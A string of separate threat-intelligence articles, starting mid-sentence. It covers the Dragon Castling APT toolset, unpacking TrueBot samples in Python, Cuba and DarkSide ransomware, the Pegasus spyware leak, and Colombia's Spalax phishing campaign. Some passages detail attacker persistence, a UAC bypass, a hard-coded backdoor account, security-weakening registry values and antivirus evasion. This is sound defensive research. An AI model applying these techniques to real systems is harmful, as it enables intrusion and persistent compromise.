Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”. **Host header** When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat. It does not change the actual C&C domain to which the request is made – this suggests the possibility of the C&C server being behind a reverse proxy. **Initial beacon** The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names, and the comment string found in smcache.dat or comment.dat. The value from comment.dat takes precedence if this file exists. In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat – it looks for the key “COMMNET” instead of “COMMENT”. After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects. Each message sent to the C&C server contains a hard-coded four-byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we’ve seen are: | ID (last byte) | Usage | |----------------|-------| | 0x1B | message to C&C which contains smcache.dat content | | 0x24 | message to C&C which contains a debug string | | 0x2F | general message to C&C | | 0x30 | message to C&C, unknown specific purpose | | 0x32 | message to C&C related to plugins | | 0x80 | initial beacon to a C&C server | **Interesting observations about the protocols, other than the HTTP protocol:** - HTTPS does not use persistent request handles. - HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon. - HTTPS, TCP, and UDP use a custom “magic” header: Magic-Code: hhjjdfgh. ## General Observations on the Core Module The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, “run code ok” after self-update, “In googo” in the hook of GetProcAddress, “recv bomb” and “sent bomb” in the main C&C communicating function, etc. **String Obfuscation** We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key. Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not. To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to WritePrivateProfileStringW. Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders. ## Plugins In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality. We are going to describe three plugins with various functionalities, such as: - Achieving persistence - Bypassing UAC - Registering an RPC interface - Creating a new account - Backdoor capabilities ### Core Plugin 0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755 This plugin is a DLL binary loaded by the fileless core module (Proto8) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins export the function "GetPlugin" which the core plugin executes. This part uses the same command ID based calling convention as the core module, adding three new methods: | ID (last byte) | Function description | |----------------|----------------------| | 0x2B | send information about plugin location to the C&C server | | 0x2C | remove a plugin | | 0x2A | load a plugin | All plugin binaries used by the core module are stored in the working directory under the name kbg<tick_count>.dat. After the Core Plugin is loaded, it first removes all plugins from the working directory. ### Zload (Atomx.dll) 2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876 The DLL we call Zload is an example of a plugin loaded by the Core Plugin. It exports four functions: “GetPlugin”, “Install”, “core_zload”, and “zload”. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload, core_zload, and the default DllMain function, as they contain the most interesting functionality. **Zload (process starter)** This function is fairly simple; its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called "mec" in it. After this, it renames and moves three files into it: - the Zload plugin binary itself as <root_folder>\mec\logexts.dll, - <root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe, - <root_folder>\kb.ini as <root_folder>\mec\kb.ini. After the files are renamed and moved, it creates a new process by executing the binary <root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe). **core_zload (persistence setup)** This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC source code found on GitHub. **DllMain (sideloading, setup)** The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security. ### Persistence The plugin first checks if its DLL was loaded either by the processes “lsass.exe” or “spdagent.exe”. If the DLL was loaded by “spdagent.exe”, it will adjust the token privileges of the current process. If it was loaded by “lsass.exe”, it will retrieve the path “kb<num>.dll” from the configuration file “kb.ini” and write it under the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters AutodialDLL. This ensures persistence, as it causes the DLL “kb<num>.dll” to be loaded each time the Winsock 2 library (ws2_32.dll) is invoked. ### Evasion To avoid detection, the plugin first checks the list of running processes for “avp.exe” (Kaspersky Antivirus) or “NortonSecurity.exe” and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to “explorer.exe”. The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}. ### Backdoor User Account Creation Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by: - Allowing local accounts to have full admin rights when they are authenticating via network logon - Enabling RDP connections to the machine without the user password - Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges - Enabling anonymous SID to be part of the everyone group in Windows - Allowing “Null Session” users to list users and groups in the domain - Allowing “Null Session” users to access shared folders - Setting the name of the pipe that will be accessible to “Null Session” users After this step, the plugin changes the WebClient service startup type to “Automatic”. It creates a new user with the name “DefaultAccount” and the password “Admin@1999!” which is then added to the “Administrator” and “Remote Desktop Users” groups. It also hides the new account on the logon screen. As the last step, the plugin checks the list of running processes for process names “360tray.exe” and “360sd.exe” and executes the file "spdlogd.exe" if neither of them is found. ### MecGame (kb%num%.dll) 4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD MecGame is another example of a plugin that can be loaded by the Core Plugin. Its main purpose is similar to the previously described Zload plugin – it executes the binary “spdlogd.exe” and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}. This RPC interface represents a function that decodes and executes a base64 encoded shellcode. The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll. ### MulCom ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2 This DLL is a backdoor module which exports four functions: “OperateRoutineW”, “StartRoutineW”, “StopRoutineW”, and “WorkRoutineW”; the main malicious function being “StartRoutineW”. For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either “Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB” or "Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”. Unfortunately, we didn’t come across the configuration data, so we are missing some information such as the C&C server domains this module uses. There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers: | Command | Function description | |---------|----------------------| | ID | | | 1 | Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM | | 2 | Finds out information about the domain name, user name, and security identifier of the process explorer.exe. It finds out the user name, domain name, and computer name of all Remote Desktop sessions. | | 3 | Enumerates root disks | | 4 | Enumerates files and finds out their creation time, last access time, and last write time | | 5 | Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix). | | 6 | Enumerates files and finds out creation time, last time access, last write time | | 7 | Renames files | | 8 | Deletes files | | 9 | Creates a directory | | 101 | Sends an error code obtained via GetLastError API function | | 102 | Enumerates files in a specific folder and finds out their creation time, last access time, and last write time | | 103 | Uploads a file to the C&C server | | 104 | Not implemented (reserved) | | Combination of 105/106/107 | Creates a directory and downloads files from the C&C server | ### Communication Protocol The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object. It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate, or to authenticate via either the SOCKS4 and SOCKS5 protocols. After successful authentication with a proxy server, the backdoor sends data XORed by the constant 0xBC. This data is a set with the following structure: **Data structure** Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly. As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT). ## Conclusion We have described a robust and modular toolset used most likely by a Chinese-speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blog post, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT" has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX – tools commonly used by Chinese-speaking attackers. We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed. Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation. ## Appendix **List of processes:** - 360sd.exe - 360rp.exe - 360Tray.exe - 360Safe.exe - 360rps.exe - ZhuDongFangYu.exe - kxetray.exe - kxescore.exe - KSafeTray.exe - KSafe.exe - audiodg.exe - iexplore.exe - MicrosoftEdge.exe - MicrosoftEdgeCP.exe - chrome.exe **Registry values changed by the Zload plugin:** | Registry path in HKEY_LOCAL_MACHINE | Registry key | |--------------------------------------|--------------| | SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System | LocalAccountTokenFilterPolicy = 1, FilterAdministratorToken = 0 | | SYSTEM\\CurrentControlSet\\Control\\Lsa | LimitBlankPasswordUse = 0, EveryoneIncludesAnonymous = 1, RestrictAnonymous = 0 | | System\\CurrentControlSet\\Services\\LanManServer\\Parameters | RestrictNullSessAccess = 0, NullSessionPipes = RpcServices | **Core module working directory (WD)** Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP%): - spptools - NewGame - TspSoft - InstallAtomx **File used to test permissions:** game_<tick_count>.log – the WD path is written into it and then the file is deleted. **Hard-coded security descriptor used for WD access:** “D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)”. **Lockfile name format:** “<working_dir>\<victim_username>-<comment_string>.log” **Core module mutexes:** - Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim’s username) - Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim’s username) - Global\TencentSecuriryAgent-P01-%s (%s is the victim’s username) **Indicators of Compromise (IoC)** Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling List of SHA-256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256
# TrueBot Analysis Part I - A Short Glimpse into Packed TrueBot Samples In October 2022, Microsoft published a blog post about Raspberry Robin and its role in the current cyber crime ecosystem. Microsoft reported, among other things, that they have observed Raspberry Robin delivering the well-known malware families IcedID, Bumblebee, and TrueBot besides the already known delivery of FakeUpdates/SocGholish. At this time, I was not really aware of TrueBot or I simply had forgotten about it. In December 2022, Cisco Talos published a blog post in which they reported increased activity from TrueBot and mentioned that TrueBot might be related to TA505. They have observed TrueBot delivering Grace (aka FlawedGrace and GraceWire) as a follow-up payload, which is known to be exclusive tooling of TA505. Since I have already analyzed some TA505 campaigns a few years ago and anything related to Raspberry Robin is of interest to me, TrueBot now had my attention and I finally found some time to take a closer look and here we are. I have decided to start a small blog series that will cover the following points: 1. Analyzing different packed samples and identifying decryption/unpacking code 2. How to statically unpack with Python using Malduck 3. Analyzing TrueBot capabilities 4. IOC/Config extraction with Python using Malduck 5. C2/Bot emulation 6. Bonus (maybe): Infrastructure analysis The blog series is structured so that we gain the knowledge step by step to be able to take the next step. In this first post, we’ll look at some packed samples and gain enough knowledge to write a static unpacker in the next step. ## Identifying Decryption/Unpacking Code We are primarily looking at the packed samples that Talos also mentioned in their blog post, including one sample that I have found on VirusTotal. All of these files are 32-bit samples, mostly DLLs except for one sample which is a regular executable. If you look at the binary, you will relatively quickly stumble upon a large binary blob that is referenced in only one function in the binary. The two loops in which the blob is referenced should give you a good indication that something might be decrypted here. I have checked all available samples and the decryption algorithm is identical in each case; however, there are a few different variations in how the decryption function is called. In the most common variant, there is an export that calls a wrapper function, which in turn calls the decryption function. Sometimes there is only one wrapper function, sometimes several, and sometimes the decryption code is directly in the export of the DLL. The decryption algorithm uses a hardcoded key and is XOR’ing through the entire binary blob, incrementing the iterator by the length of the key. Additionally, another part of the decryption “formula” is a boolean and operation with a hardcoded value. By using a debugger, it’s pretty easy to get to the unpacked code. However, since we want a static unpacker, I reimplemented the function in Python. ```python def decrypt(data_blob, key, param): result = list(data_blob) i = 0 while i < len(key): x = i key_xor = key[i] ^ param while x <= len(result) - 1: result[x] = result[x] ^ key_xor ^ ((x & 0xff) & param) x += len(key) i += 1 return result ``` Now, all we need to decrypt is the binary blob, the decryption key, and the parameter for the and operation. In my next blog post, I will describe how to get these values with the help of Python and Malduck.
# Le ransomware Cuba s’en prend aux serveurs Exchange Le ransomware Cuba exploite des vulnérabilités connues au sein de Microsoft Exchange pour obtenir un accès au réseau d'entreprises et chiffrer les machines une fois l'infrastructure compromise. L'entreprise spécialisée en sécurité Mandiant suit de près les activités du gang UNC2596 et de leur ransomware nommé COLDDRAW, bien connu sous le nom de Cuba. Il n'est pas nouveau puisqu'il est en activité depuis la fin 2019, et en 2021 il s'est montré particulièrement actif. À tel point que le FBI a émis un bulletin de sécurité au sujet du ransomware Cuba car ses auteurs ont compromis 49 organisations critiques aux États-Unis. D'ailleurs, d'après le rapport de la société Mandiant, on peut voir qu'il agit surtout aux États-Unis et au Canada. Sa présence en Europe est relativement faible, mais il n'est pas à exclure que cela évolue. Lorsque le serveur est compromis, une porte dérobée est installée sur le serveur, en s'appuyant sur deux outils : Cobalt Strike et NetSupport Manager, un logiciel de prise en main à distance. En complément, les pirates utilisent leurs propres outils : - **Bughatch** : téléchargement de fichiers à partir du serveur Command & Control - **Wedgecut** : énumération de l'Active Directory à partir de commandes PowerShell - **Burntcigar** : un outil capable de terminer n'importe quel processus au niveau du noyau en exploitant une faille de sécurité Pour effectuer des mouvements latéraux sur l'infrastructure de la victime, ils s'appuient sur différentes méthodes et outils : RDP, SMB, PsExec et Cobalt Strike. Enfin, des données peuvent être exfiltrées vers la propre infrastructure des pirates, et non pas vers des services Cloud, avant que les données soient chiffrées par le ransomware Cuba. ## Quelles sont les vulnérabilités utilisées ? Lorsque l'on évoque la compromission d'un serveur de messagerie Exchange, il y a deux noms qui ressortent à chaque fois depuis l'année dernière : ProxyShell et ProxyLogon. Bingo ! Ces deux ensembles de vulnérabilités sont exploités par le gang UNC2596 afin de compromettre les serveurs Exchange. D'ailleurs, ces failles de sécurité font partie du top 10 des vulnérabilités de 2021 selon l'ANSSI, et cela se confirme une fois de plus qu'elles sont très appréciées par les pirates. Il y a fort à parier qu'il existe encore des serveurs Exchange vulnérables un peu partout dans le monde, alors c'est l'occasion de faire une piqure de rappel sur la nécessité d'installer les correctifs disponibles depuis plusieurs mois.
# From Dawn to "Silent Night": DarkSide Ransomware **Disclaimer:** This is a redacted excerpt of the report published by the subject matter expert team at Advanced Intelligence for the flagship product “Andariel”. DarkSide's affiliate group ascended to the top of the cybercrime food chain due to its ability to build an initial attack arsenal, which included RDPs, infrastructural vulnerabilities, and, most importantly, a liaison with the Zloader, also known as "Silent Night" botnet operation. DarkSide positioned itself as a unique group from the very beginning. Ironically, they started with a promise not to target healthcare and critical infrastructure. While many other ransomware-as-a-service (RaaS) affiliate groups preferred to target corporate networks, DarkSide deliberately focused on long-planned attacks that required persistence and sophistication. Moreover, based on multiple forensics and tailored intelligence matters, AdvIntel determined that the group diversified the initial attack points used during attacks according to our threat prevention product "Andariel." This discovery identified three crucial patterns for the DarkSide operation against the manufacturing, logistics, and infrastructure industry: - Use of supply-chain attacks - Use of multiple attack vectors - Alliance with Zloader aka “Silent Night” botnet group ## Evolution of DarkSide Methods At the beginning of April, AdvIntel investigated a DarkSide breach of a major North American retailer. DarkSide was consistent in their victimology - the retailer network connected hardware producers and manufacturers. The data dumped by DarkSide on the website included valuable corporate information likely extracted from the admin domain or other joint networks that connect all the branches. ### 1. Supply-Chain Attack A supply-chain cyber-attack unites massive scale-based automated dissemination of ransomware and selectively targeted attacks requiring persistent presence and protracted reconnaissance. Such a combination turns an already viable attack methodology into a far more perilous attack foundation. Affiliates of elite ransomware syndicates keep a close eye on the vulnerable periphery of larger targets to initiate an APT-style joint operation against a defense contractor, an investment fund, or, in this case, a major retailer. ### 2. Further Advancement - Multi-Vector Attack Utilization of the supply-chain attack methodology was not the only finding. AdvIntel reconstructed the attack approach by performing a vulnerability analysis for the initial attack points using our unique visibility into adversarial datasets. Three types of potential initial points were found for the victim's domains within the timing that matched DarkSide's TTPs and the attack timelines: exposed Microsoft Exchange Server endpoints, botnet infection indicators, and Palo Alto vulnerability CVE indicators. The methodology of exploiting Palo Alto CVE vulnerability by ransomware groups may be similar to those practiced against Pulse VPN and Fortigate endpoints. The exploitation of such CVEs implies remote code execution, privilege elevation, or credential-stealing. The exposure remained present when the files of the victim were dumped. One possible scenario is that the vulnerability was used at the final step of the attack, before the payload deployment. DarkSide may have engaged in a multi-vector attack in which different initial attack points were used for various purposes - CVEs for maintaining persistence and/or auxiliary network investigations and access privilege elevation. ### 3. Peak - Zloader aka “Silent Night” Botnet The most valuable finding was the detection of Zloader infection in relation to the victim's domain prior to the attack. Zloader, a prolific botnet also known as “Silent Night,” became our primary investigation vector. This was not the first time we investigated a “Zloader-DarkSide” deployment. In the week of February 22, 2021, AdvIntel identified and reported a Zloader botnet infection of one of the largest insurance brokerages in the United States. The botnet operators noted host count, indicating access to that many devices in the company network. In March 2021, the victim's data appeared on the "name-and-shame" blog of DarkSide. According to AdvIntel's advanced HUMINT operations, the Zloader operators classified the access as one that could be developed for resale or shared with the ransomware collective for further attacks conducted via a ransomware payload deployment orchestrated through the Zloader-established intrusion. This botnet is known for being one of the main attack vectors for DarkSide and working in liaison with this group. The infection present on the victim's domain may have supported the initial version with a supply-chain attack. This domain identified in relation to Zloader infection was likely related to a vendor, customer, third-party, or peripheral domain through which the initial attack began with DarkSide meticulously paving its way to a core domain. Therefore, considering the timing and the indicators, Zloader infection of a peripheral domain eventually led to a core domain intrusion by DarkSide. The syndicate may have used the information, credentials, and system info collected by Zloader for reconnaissance and intel purposes, and/or they may have used Zloader as a payload dropper. ## The Finale - Colonial Pipeline On May 8, 2021, top U.S. fuel pipeline operator Colonial Pipeline shut its entire network, the source of nearly half of the U.S. East Coast's fuel supply, after a cyberattack that industry sources said was caused by ransomware. This attack included all of the methods which were signatures for DarkSide, such as multiple attack vectors. AdvIntel identified an adversarially-targeted Microsoft Exchange server exposure for March 21, 2021. Moreover, AdvIntel identified that Colonial Pipeline had been targeted by botnets in 2020. On May 10, 2021, the US Federal Government confirmed that the ransomware variant DarkSide had infected a critical infrastructure company in the United States, namely, the disruption of the operations of the Colonial Pipeline. ## Conclusion The DarkSide group attempted to become a new step in ransomware development. To decrease attention to the RaaS business created by REvil, they chose to use a more quiet and diligent approach to attacks relying on long-term reconnaissance, supply chain infiltrations, and the use of Zloader malware for recon and delivery. Ironically, this approach led to an opposite result - ideas that were meant to rejuvenate the ransomware game culminated in the Colonial Pipeline incident with detrimental consequences for all RaaS groups. It is still unclear what was happening behind the scenes when the Colonial Pipeline attack was in development. A possible scenario is that the affiliate(s) responsible for the malware operation liaison - a critical link in the entire Colonial Pipeline attack, started to act independently, understanding the power and capabilities they possessed through the DarkSide-Zloader liaison. This can lead to further negative dynamics, as even after the ransomware group declared a shutdown, the partnerships built with Zloader will not vanish. The criminal alliance that resulted in significant cyberattacks in the last decade is powerful and successful enough to simply vanish into the darkness without an international takedown or criminal arrest.
# Revealed: Leak Uncovers Global Abuse of Cyber-Surveillance Weapon **Stephanie Kirchgaessner, Paul Lewis, David Pegg, Sam Cutler, Nina Lakhani, Michael Safi** July 18, 2021 Spyware sold to authoritarian regimes used to target activists, politicians, and journalists, data suggests. The investigation by the Guardian and 16 other media organisations suggests widespread and continuing abuse of NSO’s hacking spyware, Pegasus, which the company insists is only intended for use against criminals and terrorists. Pegasus is malware that infects iPhones and Android devices to enable operators to extract messages, photos, and emails, record calls, and secretly activate microphones. The leak contains a list of more than 50,000 phone numbers believed to have been identified as people of interest by clients of NSO since 2016. Forbidden Stories, a Paris-based nonprofit media organisation, and Amnesty International initially had access to the leaked list and shared access with media partners as part of the Pegasus project, a reporting consortium. The presence of a phone number in the data does not reveal whether a device was infected with Pegasus or subject to an attempted hack. However, the consortium believes the data is indicative of the potential targets NSO’s government clients identified in advance of possible surveillance attempts. ## What is in the Pegasus Project Data? The data leak is a list of more than 50,000 phone numbers that, since 2016, are believed to have been selected as those of people of interest by government clients of NSO Group. The data also contains the time and date that numbers were selected or entered onto a system. More than 80 journalists have worked together over several months as part of the Pegasus project. Amnesty’s Security Lab, a technical partner on the project, conducted the forensic analyses. ## What Does the Leak Indicate? The consortium believes the data indicates the potential targets NSO’s government clients identified in advance of possible surveillance. While the data is an indication of intent, the presence of a number in the data does not reveal whether there was an attempt to infect the phone with spyware such as Pegasus or whether any attempt succeeded. Forensic examinations of a small sample of mobile phones with numbers on the list found tight correlations between the time and date of a number in the data and the start of Pegasus activity. ## What Did Forensic Analysis Reveal? Amnesty examined 67 smartphones where attacks were suspected. Of those, 23 were successfully infected, and 14 showed signs of attempted penetration. For the remaining 30, the tests were inconclusive. Fifteen of the phones were Android devices, none of which showed evidence of successful infection. However, three Android phones showed signs of targeting, such as Pegasus-linked SMS messages. Amnesty shared “backup copies” of four iPhones with Citizen Lab, which confirmed that they showed signs of Pegasus infection. ## Which NSO Clients Were Selecting Numbers? While the data is organised into clusters indicative of individual NSO clients, it does not specify which client was responsible for selecting any given number. By closely examining the pattern of targeting in the leaked data, media partners identified 10 governments believed to be responsible for selecting the targets: Azerbaijan, Bahrain, Kazakhstan, Mexico, Morocco, Rwanda, Saudi Arabia, Hungary, India, and the United Arab Emirates. Citizen Lab has also found evidence of all 10 being clients of NSO. ## What Does NSO Group Say? NSO Group has always stated it does not have access to the data of its customers’ targets. Through its lawyers, NSO said the consortium had made “incorrect assumptions” about which clients use the company’s technology. They claimed the 50,000 number was “exaggerated” and that the list could not be a list of numbers “targeted by governments using Pegasus.” They also stated that the presence of a number on the list was in no way indicative of whether it had been selected for surveillance using Pegasus. ## What is HLR Lookup Data? The term HLR, or home location register, refers to a database essential to operating mobile phone networks. Such registers keep records on the networks of phone users and their general locations. Telecoms and surveillance experts say HLR data can sometimes be used in the early phase of a surveillance attempt. The consortium understands NSO clients have the capability to conduct HLR lookup inquiries through an interface on the Pegasus system. Forensic analysis of a small number of phones whose numbers appeared on the leaked list also showed more than half had traces of the Pegasus spyware. The Guardian and its media partners will be revealing the identities of people whose numbers appeared on the list in the coming days, including hundreds of business executives, religious figures, academics, NGO employees, union officials, and government officials. The list also contains the numbers of close family members of one country’s ruler, suggesting the ruler may have instructed their intelligence agencies to explore the possibility of monitoring their own relatives. The disclosures begin with the revelation that the numbers of more than 180 journalists are listed in the data, including reporters, editors, and executives at major news organisations. Without forensic examination of mobile devices, it is impossible to say whether phones were subjected to an attempted or successful hack using Pegasus. NSO has always maintained it “does not operate the systems that it sells to vetted government customers.” The Israeli minister of defence closely regulates NSO, granting individual export licences before its surveillance technology can be sold to a new country. Last month, NSO released a transparency report claiming to have an industry-leading approach to human rights. There is nothing to suggest NSO’s customers did not also use Pegasus in terrorism and crime investigations, and the consortium found numbers in the data belonging to suspected criminals. However, the broad array of numbers in the list belonging to people who seemingly have no connection to criminality suggests some NSO clients are breaching their contracts with the company, spying on pro-democracy activists and journalists investigating corruption, as well as political opponents and government critics. ## What is the Pegasus Project? The Pegasus project is a collaborative journalistic investigation into the NSO Group and its clients. The company sells surveillance technology to governments worldwide. Its flagship product is Pegasus, spyware that targets iPhones and Android devices. Once a phone is infected, a Pegasus operator can secretly extract chats, photos, emails, and location data, or activate microphones and cameras without a user knowing. The analysis uncovered some sequential correlations between the time and date a number was entered into the list and the onset of Pegasus activity on the device. The presence of a number in the data does not mean there was an attempt to infect the phone. NSO says there were other possible purposes for numbers being recorded on the list. Rwanda, Morocco, India, and Hungary denied having used Pegasus to hack the phones of the individuals named in the list. The Pegasus project is likely to spur debates over government surveillance in several countries suspected of using the technology. The leaked data and forensic analyses also suggest NSO’s spy tool was used by Saudi Arabia and the UAE to target the phones of close associates of the murdered Washington Post journalist Jamal Khashoggi in the months after his death. Claudio Guarnieri, who runs Amnesty International’s Security Lab, said once a phone was infected with Pegasus, a client of NSO could take control of a phone, enabling them to extract a person’s messages, calls, photos, and emails, secretly activate cameras or microphones, and read the contents of encrypted messaging apps. The latest advances in NSO’s technology enable it to penetrate phones with “zero-click” attacks, meaning a user does not even need to click on a malicious link for their phone to be infected. Apple stated that security researchers agree iPhone is the safest, most secure consumer mobile device on the market. NSO declined to give specific details about its customers and the people they target. However, a source familiar with the matter said the average number of annual targets per customer was 112.
# Operation Spalax: Targeted Malware Attacks in Colombia In 2020, ESET saw several attacks targeting Colombian entities exclusively. These attacks are still ongoing and are focused on both government institutions and private companies. For the latter, the most targeted sectors are energy and metallurgical. The attackers rely on the use of remote access trojans, most likely to spy on their victims. They have a large network infrastructure for command and control: ESET observed at least 24 different IP addresses in use in the second half of 2020. These are probably compromised devices that act as proxies for their C&C servers. This, combined with the use of dynamic DNS services, means that their infrastructure never stays still. We have seen at least 70 domain names active in this timeframe and they register new ones on a regular basis. ## The Attackers The attacks we saw in 2020 share some TTPs with previous reports about groups targeting Colombia, but also differ in many ways, thus making attribution difficult. One of those reports was published in February 2019 by QiAnXin researchers. The operations described in that blog post are connected to an APT group active since at least April 2018. We have found some similarities between those attacks and the ones that we describe in this article: - We saw a malicious sample included in IoCs of QiAnXin’s report and a sample from the new campaign in the same government organization. These files have fewer than a dozen sightings each. - Some of the phishing emails from the current campaign were sent from IP addresses corresponding to a range that belongs to Powerhouse Management, a VPN service. The same IP address range was used for emails sent in the earlier campaign. - The phishing emails have similar topics and pretend to come from some of the same entities – for example, the Office of the Attorney General (Fiscalia General de la Nacion) or the National Directorate of Taxes and Customs (DIAN). - Some of the C&C servers in Operation Spalax use linkpc.net and publicvm.com subdomains, along with IP addresses that belong to Powerhouse Management. This also happened in the earlier campaign. However, there are differences in the attachments used for phishing emails, the remote access trojans (RATs) used, and in most of the operator’s C&C infrastructure. There is also this report from Trend Micro, from July 2019. There are similarities between the phishing emails and parts of the network infrastructure in that campaign and the one we describe here. The attacks described in that article were connected to cybercrime, not espionage. While we have not seen any payload delivered by the attackers other than RATs, some of the targets in the current campaign (such as a lottery agency) don’t make much sense for spying activities. These threat actors show perfect usage of the Spanish language in the emails they send, they only target Colombian entities, and they use premade malware and don’t develop any themselves. ## Attack Overview Targets are approached with emails that lead to the download of malicious files. In most cases, these emails have a PDF document attached, which contains a link that the user must click to download the malware. The downloaded files are regular RAR archives that have an executable file inside. These archives are hosted in legitimate file hosting services such as OneDrive or MediaFire. The target has to manually extract the file and execute it for the malware to run. We’ve found a variety of packers used for these executables, but their purpose is always to have a remote access trojan running on the victimized computer, usually by decrypting the payload and injecting it into legitimate processes. We have seen the attackers use three different RATs: Remcos, njRAT, and AsyncRAT. ## Phishing Emails The attackers use various topics for their emails, but in most cases, they are not specially crafted for their victims. On the contrary, most of these emails have generic topics that could be reused for different targets. We found phishing emails with these topics: - A notification about a driving infraction - A notification to take a mandatory COVID-19 test - A notification to attend a court hearing - An open investigation against the recipient for misuse of public funds - A notification of an embargo of bank accounts The email pretends to be a notification about a driving infraction for a value of around US$250. There is a PDF file attached that promises a photo of the infraction, as well as information about time and place of the incident. The sender has been spoofed to make the email look like it is coming from SIMIT (a system for paying transit violations in Colombia). The PDF file only contains an external link that has been shortened with the acortaurl service. After the shortened link is expanded, a RAR archive is downloaded from a file hosting service. In more recent emails, the shortened link in the PDF file resolves to a legitimate site when visited from outside of Colombia. Also, in some cases, the GetResponse service has been used to send the email. This is probably done to track whether the victim has clicked on the link. In these cases, there is no attachment: a link to the GetResponse platform leads to the download of malware. ## Malicious Artifacts ### Droppers The executable files contained in compressed archives that are downloaded via the phishing emails are responsible for decrypting and running remote access trojans on a victimized computer. #### NSIS Installers The dropper that is most commonly used by these attackers comes as a file that was compiled with NSIS (Nullsoft Scriptable Install System). To try to evade detection, this installer contains several benign files that are written to disk and two files that are malicious: an encrypted RAT executable and a DLL file that decrypts and runs the trojan. The files Bonehead (encrypted RAT) and ShoonCataclysm.dll (dropper DLL) are written in the same folder and the DLL is run with rundll32.exe using Uboats as its argument. The names of these files change between executables. We used the name of the benign files contained in some of these NSIS installers to find more malicious installers used by the Spalax operators. #### Agent Tesla Packers We have seen several droppers that are different variants of a packer that uses steganography and is known to be used in Agent Tesla samples. Interestingly, the attackers use various payloads, but none of them are Agent Tesla. The initial dropper is coded in C#. In all the samples that we have seen, the code for the dropper was hiding in non-malicious code, probably copied from other apps. The benign code is not executed; it’s there to evade detection. #### AutoIt Droppers For some of their droppers, the attackers have used an 